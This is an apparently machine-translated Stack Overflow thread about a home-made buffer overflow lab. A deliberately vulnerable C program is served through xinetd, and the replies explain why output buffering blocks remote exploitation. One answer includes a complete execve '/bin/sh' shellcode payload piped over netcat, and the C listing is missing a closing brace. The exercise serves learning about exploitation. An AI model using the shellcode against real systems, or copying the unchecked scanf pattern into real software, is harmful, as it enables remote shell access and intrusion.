2016-08-29 7 views
0

xinetd経由でポート8000​​上のサービスとして以下のプログラムを実行する単純なバッファオーバーフローチュートリアルを作成しようとしています。コードはxinetdによる単純なバッファオーバーフロー

gcc -o bof bof.c -fno-stack-protector 

を使用してコンパイルされました。ubuntuにはスタック保護もオフになっています。

python -c ---snippet--- | ./bof 

すなわちローカルで悪用

は成功し、隠された機能は、テキストファイルの内容を表示し、実行されました。しかし

、サービスとして実行し、悪用するとき何も返さない

python -c ---snippet--- | nc localhost 8000 
を実行します。私はここに何かを逃していますか

#include <stdio.h> 

void secret() 
{ 
    int c; 
    FILE *file; 
    file = fopen("congratulations.txt", "r"); 
    if (file) { 
    while ((c= getc(file)) !=EOF) 
    putchar(c); 
    fclose(file); 


} 

void textdisplay() 
{ 
    char buffer[56]; 

    scanf("%s", buffer); 
    printf("You entered: %s\n", buffer); 
} 

int main() 
{ 
    textdisplay(); 

    return 0; 
} 
+0

あなたはstackoverflow.comに助けを求める前に、自分自身を行うことができますいくつかの分析を逃しています。たとえば、straceを使用して、xinetdが実際にforkしてサーバープロセスを実行していることを確認し、サーバープロセスがエクスプロイトを正常に読み取るようにします。 –

答えて

1

出力はデフォルトでバッファされます。これを無効にするには、メインの上部で次の操作を行います。

setbuf(stdin, NULL); 

これで問題は解決します。

0

これは私も同様に走っている問題です。ほぼ同じです。

しかし、ここで私があなたに役立つかもしれないことがわかったものがあります。私はこの問題にはxinetdがバイナリをターミナルとして実行せず、ジョブ制御を行うこととは何か関係があると信じています。

server = /usr/bin/python 
server_args = /opt/shell.py 

それから私が持っていた/opt/shell.py内:

import pty 
pty.spawn("/opt/oflow.elf") 

/opt/oflow.elfは私のバイナリオーバーフローしされて私がしたので、何

は何のxinetdを持っていることでした

これを行うと、実際にデータを送受信できます。 netcat経由で次のコマンドを実行してリモートからサービスをオーバーフローさせたときのことです:

**printf "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAABCDEFGHIJKLMNOPQ\x7c\xfc\xff\xbf" | nc 192.168.1.2 9000** 

これは何もしません。しかし、私はローカルバージョンをテストし、それは完璧に動作します。毎回動作します。

Pythonのptyとxinetdでラップされているときはありません。

私がxinetdを/opt/oflow.elfに直接指して走らせると、netcatから全く何も得られません。

あなたの質問には正確には答えられませんが、それはあなたのためにそれを下げてください。

UPDATED COMPLETE ANSWER:

この波平が働いて、なぜ私は考え出しました。 Pythonをまったく使用する必要はありません。すべてのprintf文の後、あなたはまた、含まれている必要があります

fflush(stdout); 

そうでない場合は、xinetdのdoesntのは、標準出力を送信するために知っています。

また、標準入力のためにこれを行うために必要がある場合があります。

fflush(stdin);